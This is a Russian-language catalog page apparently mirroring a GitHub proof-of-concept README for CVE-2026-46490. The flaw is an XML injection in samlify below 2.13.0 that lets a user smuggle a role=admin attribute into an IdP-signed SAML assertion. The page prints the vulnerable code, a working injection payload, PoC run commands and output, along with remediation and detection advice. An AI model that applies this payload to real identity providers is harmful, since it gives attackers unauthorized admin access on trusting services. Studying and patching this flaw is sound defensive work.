Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-46490-samlify-SAML-Attribute-Injection — CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML-инъекция -> повышение привилегий подписанного утверждения. Автономный PoC, проверено e2e. | Kitploit
Инструменты/GitHubGitHub/biitts/cve-2026-46490-samlify-saml-attribute-injection
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияОбучение и Образование
GitHubbiitts/cve-2026-46490-samlify-saml-attribute-injection

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-46490-samlify-SAML-Attribute-Injection

CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML-инъекция -> повышение привилегий подписанного утверждения. Автономный PoC, проверено e2e.

Репозиторий
22 месяцев назадЕщё не проверено

CVE-2026-46490 — SAML-инъекция в AttributeValue библиотеки samlify → повышение привилегий

samlify < 2.13.0 экранирует подстановки шаблонов только в контекстах атрибутов. Значение, контролируемое пользователем (например, email / name), помещённое в текст элемента — <saml:AttributeValue>{Value}</saml:AttributeValue> — вставляется без экранирования, поэтому обычный пользователь может внедрить дополнительные элементы <saml:Attribute> (например, role=admin) в своё собственное утверждение SAML, подписанное IdP. Поскольку инъекция происходит до подписания, проверка подписи на стороне поставщика услуг (SP) проходит успешно, и он воспринимает подделанные атрибуты как достоверные.


Первопричина

src/libsaml.ts заменяет заполнители {tag} с помощью replaceTagsByValue → escapeTag:

root@kitploit:~
replaceTagsByValue(rawXML, tagValues) {
  Object.keys(tagValues).forEach(t => {
    rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
  });
  return rawXML;
}

function escapeTag(replacement) {
  return (_match, quote) => {
    const text = String(replacement ?? '');
    // "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
    return quote ? `${quote}${xmlEscape(text)}` : text;   // <-- текст элемента: НЕТ экранирования
  };
}

Регулярное выражение захватывает опциональную предшествующую " как quote. В контексте атрибута (Name="{Name}") quote установлен, и значение экранируется через xmlEscape; в тексте элемента (>{attrEmail}<) предшествующая кавычка отсутствует, поэтому значение вставляется как есть.

Шаблон атрибута по умолчанию помещает значение в текст элемента:

root@kitploit:~
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>

Таким образом, контролируемое злоумышленником значение атрибута, содержащее </>, внедряет сырой XML.

Эксплуатация

Злоумышленник устанавливает свой собственный атрибут профиля (здесь email) в:

root@kitploit:~
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">

Это закрывает атрибут email, добавляет поддельный атрибут role=admin и повторно открывает фиктивный атрибут, чтобы завершающие </saml:AttributeValue></saml:Attribute> шаблона оставались сбалансированными. Затем IdP подписывает утверждение, включая поддельный атрибут. Совместимый со стандартами SP проверяет подпись (действительна) и читает role=admin.

Воспроизведение

root@kitploit:~
cd lab && ./setup.sh        # npm i [email protected] + generate IdP/SP keypairs
node poc.js

Output:

root@kitploit:~
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin

PoC использует собственный IdP samlify (createLoginResponse, который выполняет уязвимую подстановку replaceTagsByValue и подпись) и SP (parseLoginResponse, который проверяет подпись и извлекает атрибуты). SP отображает role: "admin" — атрибут, который подделал злоумышленник, а не тот, который IdP намеревался выдать.

Влияние

Любой пользователь, который может влиять на одно из своих значений атрибутов SAML (email, отображаемое имя, …) на IdP, основанном на samlify, может создать действительно подписанное утверждение, содержащее произвольные дополнительные атрибуты — членство в группах/ролях, права, флаги isAdmin — и повысить привилегии на каждом SP, доверяющем этому IdP. Проверка подписи SAML не помогает: подделка находится внутри подписанной области.

Устранение

  • Обновите до samlify ≥ 2.13.0, который экранирует интерполированные значения также и в контекстах элементов, а не только в контекстах атрибутов.
  • Глубокозащищённый подход: проверяйте/нормализуйте предоставленные пользователем значения атрибутов на стороне сервера; предпочитайте разрешённые схемы атрибутов на стороне SP.

Обнаружение

Проверяйте выданные/полученные утверждения на предмет значений атрибутов, содержащих XML-разметку (</saml:AttributeValue>, <saml:Attribute), а также на утверждения, содержащие больше элементов <saml:Attribute>, чем определено шаблоном IdP.

Смотрите ANALYSIS.md для получения информации о регулярном выражении подстановки, эвристике кавычек и исправлении.


  • Автор: Caio Fabrício — github.com/BiiTts
  • Авторство уязвимости принадлежит первоначальному репортёру / уведомлению вендора; этот репозиторий является независимым воспроизведением для защитного и образовательного использования. Только для авторизованного тестирования безопасности.
Скачать инструмент
CVECVE-2026-46490
УведомлениеGHSA-34r5-q4jw-r36m
Затронутые версииsamlify < 2.13.0
Исправлено в2.13.0
КлассCWE-91 (XML-инъекция) → повышение привилегий
CVSS8.8 (Высокий)
АутентификацияАутентифицированный пользователь с низкими привилегиями (контролирует одно из своих значений атрибутов)
СтатусПОДТВЕРЖДЕНО — полная цепочка IdP→SP воспроизведена с [email protected]